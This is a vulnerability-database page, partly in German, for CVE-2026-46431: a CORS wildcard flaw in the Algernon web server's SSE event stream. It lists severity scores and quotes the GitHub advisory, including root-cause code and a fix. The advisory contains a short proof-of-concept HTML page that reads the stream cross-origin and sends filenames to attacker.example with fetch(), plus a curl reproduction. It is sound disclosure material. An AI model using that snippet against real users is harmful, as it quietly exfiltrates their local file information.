CVE-2026-46431

mediumPriorität · verfolgen · 0EPSS 0.002 · 12. PerzentilEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.22% (12th) EPSS
CVSS 4.3 · medium
Is it mine?
2 products
Prüfe deine Angriffsfläche
Who says so?
3 sources
cnnvd · enisa_euvd · osv

EPSS · bewertet 2026-10-29

Algernon is a small self-contained pure-Go web server. Prior to 1.17.7, the SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. This vulnerability is fixed in 1.17.7.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

4.3
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.14.3mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:Nsecondary · ENISA EU
v3.14.3mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:Nsecondary · security-advisories@github.comAusnutzbarkeit 2.8 · Auswirkung 1.4
v3.14.3mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:Nsecondary · OSV
v3.14mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (2)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-hw27-4v2q-5qffAlgernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: *2026-05-20ghsa · osvUS

    ### Summary The SSE event server's `Access-Control-Allow-Origin` response header was hardcoded to the wildcard `*` regardless of the caller's `Origin`. Because `EventSource` does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin `EventSource` to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required — any tab the developer opens has script-level read access to the stream. This advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either. ### Details #### Root cause — hard-coded `"*"` passed as the CORS allowed-origin ```go // engine/config.go (1.17.6, MustServe) recwatch.EventServer(absdir, "*", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration) ``` The literal `"*"` is the second positional argument. The vendored `recwatch` implementation reflects it verbatim into the response header: ```go // vendor/github.com/xyproto/recwatch/eventserver.go:100-108 (1.17.6) func GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc { return func(w http.ResponseWriter, _ *http.Request) { w.Header().Set("Content-Type", "text/event-stream;charset=utf-8") w.Header().Set("Cache-Control", "no-cache") w.Header().Set("Connection", "keep-alive") w.Header().Set("Access-Control-Allow-Origin", allowed) ... } } ``` There is no decision based on the request's `Origin` header, and no allow-list mechanism — every caller is told their origin is approved. #### Why the wildcard is exploitable `EventSource` opens a `GET` request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin — that is the role of `Access-Control-Allow-Origin`. When the server returns `*`, the browser permits the cross-origin script to read every `message` event. So a developer running `algernon -a` on their workstation, with the SSE listener at `http://127.0.0.1:5553/sse` (Windows) or `http://0.0.0.0:5553/sse` (Linux/macOS), only needs to visit *any* third-party origin in another tab for the following to drain their stream silently: ```html <!doctype html> <script> const s = new EventSource('http://127.0.0.1:5553/sse'); s.onmessage = e => fetch('https://attacker.example/log?f=' + encodeURIComponent(e.data)); </script> ``` The exploit is cookie-less and CORS-clean — no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is "visit a webpage," which `UI:R` in the CVSS vector reflects. ### PoC (against 1.17.6) ```bash # 1. Operator: algernon -a /path/to/project on Windows; SSE at localhost:5553 # 2. Attacker lures the developer to https://news.example: # The page contains the snippet above. # 3. EventSource opens, browser sends the request; algernon responds with # Access-Control-Allow-Origin: *, browser passes message events to the # cross-origin script; script ships filenames to attacker.example. ``` CLI reproduction of the header is identical to advisory #2a's transcript; the relevant evidence is the `Access-Control-Allow-Origin: *` value in the response, not the body. ### Impact - **Confidentiality:** medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened. - **Integrity:** none. - **Availability:** none directly (the cross-origin tab does not exhaust resources beyond the user's own browser). ### Suggestions to fix **Primary fix — echo a same-origin allow-list instead of `*`.** ```go // vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents origin := r.Header.Get("Origin") if !isAllowedOrigin(origin) { http.Error(w, "forbidden", http.StatusForbidden) return } w.Header().Set("Access-Control-Allow-Origin", origin) w.Header().Set("Vary", "Origin") ``` The `allowed` parameter must change from `"*"` to an explicit allow-list (or a single canonical server origin) — for example, `sseScheme + "://" + ac.serverAddr`. With the server's own scheme+host+port in `Allow-Origin`, a cross-origin request from `evil.example` is rejected by the browser because the response advertises a different origin. **Defence in depth — drop the legacy dedicated-port code path.** Mounting the SSE handler on the main mux instead lets the response omit `Access-Control-Allow-Origin` entirely (same-origin only by default). The dedicated `--eventserver`-style path is the only place `Access-Control-Allow-Origin` is set in the codebase; removing the dedicated path simplifies the surface. ### Live verification ``` $ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site $ ( curl -sNi --max-time 2 -H "Origin: http://evil.example" http://127.0.0.1:5553/sse > sse.txt & sleep 1 echo "trigger" >> poc2/site/probe.txt wait ) $ cat sse.txt HTTP/1.1 200 OK Access-Control-Allow-Origin: * Cache-Control: no-cache Connection: keep-alive Content-Type: text/event-stream;charset=utf-8 ... id: 0 data: C:\Users\xbox\Desktop\VulnTesting\algernon-main\poc-test\poc2\site\probe.txt ``` The `Origin: http://evil.example` request header was echoed back as `Access-Control-Allow-Origin: *` (the wildcard — browsers treat this as "any origin may read"). A cross-origin tab at any URL can run `new EventSource("http://<algernon>:5553/sse")` and read the stream.

  • GO-2026-5440Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: * in github.com/xyproto/algernon2026-06-25vendor · osvUS

    Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: * in github.com/xyproto/algernon

06

auch bekannt als (5)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-05-26geändert 2026-07-24
08

Referenzen (4)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan